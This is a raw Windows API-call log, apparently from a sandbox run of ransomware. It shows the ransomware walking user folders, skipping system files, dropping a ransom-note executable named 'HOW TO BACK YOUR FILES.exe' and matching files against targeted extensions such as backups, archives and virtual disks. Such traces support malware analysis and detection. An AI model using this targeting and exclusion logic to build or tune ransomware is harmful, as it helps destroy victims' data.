	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="bootmgr") returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="temp") returned -1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="pagefile.sys") returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="boot") returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="ids.txt") returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="ntuser.dat") returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="perflogs") returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="MSBuild") returned 1
	[0047.302] lstrlenW (lpString="Pictures") returned 8
	[0047.302] lstrlenW (lpString="C:\\Users\\Default\\ntuser.ini") returned 27
	[0047.302] lstrcpyW (in: lpString1=0x119e62a, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures"
	[0047.302] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0047.302] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca150
	[0047.302] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd50 | out: ListHead=0x5b75f0, ListEntry=0x59fd50) returned 0x59fc70
	[0047.303] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="Apollon865.txt.exe") returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2=".") returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="..") returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="windows") returned -1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="bootmgr") returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="temp") returned -1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="pagefile.sys") returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="boot") returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="ids.txt") returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="ntuser.dat") returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="perflogs") returned 1
	[0047.303] lstrcmpiW (lpString1="PrintHood", lpString2="MSBuild") returned 1
	[0047.303] lstrlenW (lpString="PrintHood") returned 9
	[0047.303] lstrlenW (lpString="C:\\Users\\Default\\Pictures") returned 25
	[0047.303] lstrcpyW (in: lpString1=0x119e62a, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood"
	[0047.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0047.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca450
	[0047.303] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd70 | out: ListHead=0x5b75f0, ListEntry=0x59fd70) returned 0x59fd50
	[0047.303] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="Apollon865.txt.exe") returned 1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2=".") returned 1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="..") returned 1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="windows") returned -1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="bootmgr") returned 1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="temp") returned -1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="pagefile.sys") returned 1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="boot") returned 1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="ids.txt") returned 1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="ntuser.dat") returned 1
	[0047.303] lstrcmpiW (lpString1="Recent", lpString2="perflogs") returned 1
	[0047.304] lstrcmpiW (lpString1="Recent", lpString2="MSBuild") returned 1
	[0047.304] lstrlenW (lpString="Recent") returned 6
	[0047.304] lstrlenW (lpString="C:\\Users\\Default\\PrintHood") returned 26
	[0047.304] lstrcpyW (in: lpString1=0x119e62a, lpString2="Recent" | out: lpString1="Recent") returned="Recent"
	[0047.304] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0047.304] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x30) returned 0x5b7e28
	[0047.304] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd90 | out: ListHead=0x5b75f0, ListEntry=0x59fd90) returned 0x59fd70
	[0047.304] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dfc1b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="Apollon865.txt.exe") returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2=".") returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="..") returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="windows") returned -1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="bootmgr") returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="temp") returned -1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="pagefile.sys") returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="boot") returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="ids.txt") returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="ntuser.dat") returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="perflogs") returned 1
	[0047.304] lstrcmpiW (lpString1="Saved Games", lpString2="MSBuild") returned 1
	[0047.304] lstrlenW (lpString="Saved Games") returned 11
	[0047.304] lstrlenW (lpString="C:\\Users\\Default\\Recent") returned 23
	[0047.304] lstrcpyW (in: lpString1=0x119e62a, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games"
	[0047.304] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0047.304] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b62c8
	[0047.304] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fdb0 | out: ListHead=0x5b75f0, ListEntry=0x59fdb0) returned 0x59fd90
	[0047.304] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2df758b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2df758b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1
	[0047.304] lstrcmpiW (lpString1="Searches", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.304] lstrcmpiW (lpString1="Searches", lpString2="Apollon865.txt.exe") returned 1
	[0047.304] lstrcmpiW (lpString1="Searches", lpString2=".") returned 1
	[0047.304] lstrcmpiW (lpString1="Searches", lpString2="..") returned 1
	[0047.304] lstrcmpiW (lpString1="Searches", lpString2="windows") returned -1
	[0047.304] lstrcmpiW (lpString1="Searches", lpString2="bootmgr") returned 1
	[0047.305] lstrcmpiW (lpString1="Searches", lpString2="temp") returned -1
	[0047.305] lstrcmpiW (lpString1="Searches", lpString2="pagefile.sys") returned 1
	[0047.305] lstrcmpiW (lpString1="Searches", lpString2="boot") returned 1
	[0047.305] lstrcmpiW (lpString1="Searches", lpString2="ids.txt") returned 1
	[0047.305] lstrcmpiW (lpString1="Searches", lpString2="ntuser.dat") returned 1
	[0047.305] lstrcmpiW (lpString1="Searches", lpString2="perflogs") returned 1
	[0047.305] lstrcmpiW (lpString1="Searches", lpString2="MSBuild") returned 1
	[0047.305] lstrlenW (lpString="Searches") returned 8
	[0047.305] lstrlenW (lpString="C:\\Users\\Default\\Saved Games") returned 28
	[0047.305] lstrcpyW (in: lpString1=0x119e62a, lpString2="Searches" | out: lpString1="Searches") returned="Searches"
	[0047.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0047.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca050
	[0047.305] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fdd0 | out: ListHead=0x5b75f0, ListEntry=0x59fdd0) returned 0x59fdb0
	[0047.305] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="Apollon865.txt.exe") returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2=".") returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="..") returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="windows") returned -1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="bootmgr") returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="temp") returned -1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="pagefile.sys") returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="boot") returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="ids.txt") returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="ntuser.dat") returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="perflogs") returned 1
	[0047.305] lstrcmpiW (lpString1="SendTo", lpString2="MSBuild") returned 1
	[0047.305] lstrlenW (lpString="SendTo") returned 6
	[0047.305] lstrlenW (lpString="C:\\Users\\Default\\Searches") returned 25
	[0047.305] lstrcpyW (in: lpString1=0x119e62a, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo"
	[0047.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0047.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x30) returned 0x5b7e60
	[0047.305] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fdf0 | out: ListHead=0x5b75f0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0047.306] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="Apollon865.txt.exe") returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2=".") returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="..") returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="windows") returned -1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="bootmgr") returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="temp") returned -1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="pagefile.sys") returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="boot") returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="ids.txt") returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="ntuser.dat") returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="perflogs") returned 1
	[0047.306] lstrcmpiW (lpString1="Start Menu", lpString2="MSBuild") returned 1
	[0047.306] lstrlenW (lpString="Start Menu") returned 10
	[0047.306] lstrlenW (lpString="C:\\Users\\Default\\SendTo") returned 23
	[0047.306] lstrcpyW (in: lpString1=0x119e62a, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu"
	[0047.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0047.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ca290
	[0047.306] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fe10 | out: ListHead=0x5b75f0, ListEntry=0x59fe10) returned 0x59fdf0
	[0047.306] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="Apollon865.txt.exe") returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1
	[0047.306] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1
	[0047.307] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1
	[0047.307] lstrlenW (lpString="Templates") returned 9
	[0047.307] lstrlenW (lpString="C:\\Users\\Default\\Start Menu") returned 27
	[0047.307] lstrcpyW (in: lpString1=0x119e62a, lpString2="Templates" | out: lpString1="Templates") returned="Templates"
	[0047.307] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0047.307] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca2d0
	[0047.307] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fe30 | out: ListHead=0x5b75f0, ListEntry=0x59fe30) returned 0x59fe10
	[0047.307] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2de1ec50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="Apollon865.txt.exe") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2=".") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="..") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="windows") returned -1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="bootmgr") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="temp") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="pagefile.sys") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="boot") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="ids.txt") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="ntuser.dat") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="perflogs") returned 1
	[0047.307] lstrcmpiW (lpString1="Videos", lpString2="MSBuild") returned 1
	[0047.307] lstrlenW (lpString="Videos") returned 6
	[0047.307] lstrlenW (lpString="C:\\Users\\Default\\Templates") returned 26
	[0047.307] lstrcpyW (in: lpString1=0x119e62a, lpString2="Videos" | out: lpString1="Videos") returned="Videos"
	[0047.307] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0047.307] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x30) returned 0x5b7e98
	[0047.307] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fe50 | out: ListHead=0x5b75f0, ListEntry=0x59fe50) returned 0x59fe30
	[0047.307] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2de1ec50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
	[0047.307] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0047.307] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fe50
	[0047.307] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Videos", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos"
	[0047.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e98 | out: hHeap=0x580000) returned 1
	[0047.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0047.308] lstrlenW (lpString="C:\\Users\\Default\\Videos") returned 23
	[0047.308] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos"
	[0047.308] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.308] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0047.308] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0047.308] GetLastError () returned 0x0
	[0047.308] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0047.309] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0047.309] CloseHandle (hObject=0x14c) returned 1
	[0047.310] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0047.310] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.310] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2de1ec50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0047.310] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.310] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.310] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.310] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2de1ec50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.310] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.310] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.310] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.310] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.310] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0047.310] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0047.310] lstrlenW (lpString="desktop.ini") returned 11
	[0047.310] lstrlenW (lpString="C:\\Users\\Default\\Videos\\*") returned 25
	[0047.310] lstrcpyW (in: lpString1=0x119e638, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0047.310] lstrlenW (lpString="desktop.ini") returned 11
	[0047.311] lstrlenW (lpString="Apollon865") returned 10
	[0047.311] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0047.311] lstrlenW (lpString=".dll") returned 4
	[0047.311] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0047.311] lstrlenW (lpString=".lnk") returned 4
	[0047.311] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0047.311] lstrlenW (lpString=".ini") returned 4
	[0047.311] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0047.311] lstrlenW (lpString=".sys") returned 4
	[0047.311] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0047.311] lstrlenW (lpString="desktop.ini") returned 11
	[0047.311] lstrlenW (lpString="bak") returned 3
	[0047.311] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0047.311] lstrlenW (lpString="ba_") returned 3
	[0047.311] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0047.311] lstrlenW (lpString="dbb") returned 3
	[0047.311] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0047.311] lstrlenW (lpString="vmdk") returned 4
	[0047.311] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0047.311] lstrlenW (lpString="rar") returned 3
	[0047.311] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0047.311] lstrlenW (lpString="zip") returned 3
	[0047.311] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0047.311] lstrlenW (lpString="tgz") returned 3
	[0047.311] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0047.311] lstrlenW (lpString="vbox") returned 4
	[0047.311] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0047.311] lstrlenW (lpString="vdi") returned 3
	[0047.311] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0047.311] lstrlenW (lpString="vhd") returned 3
	[0047.311] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0047.311] lstrlenW (lpString="vhdx") returned 4
	[0047.311] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0047.311] lstrlenW (lpString="avhd") returned 4
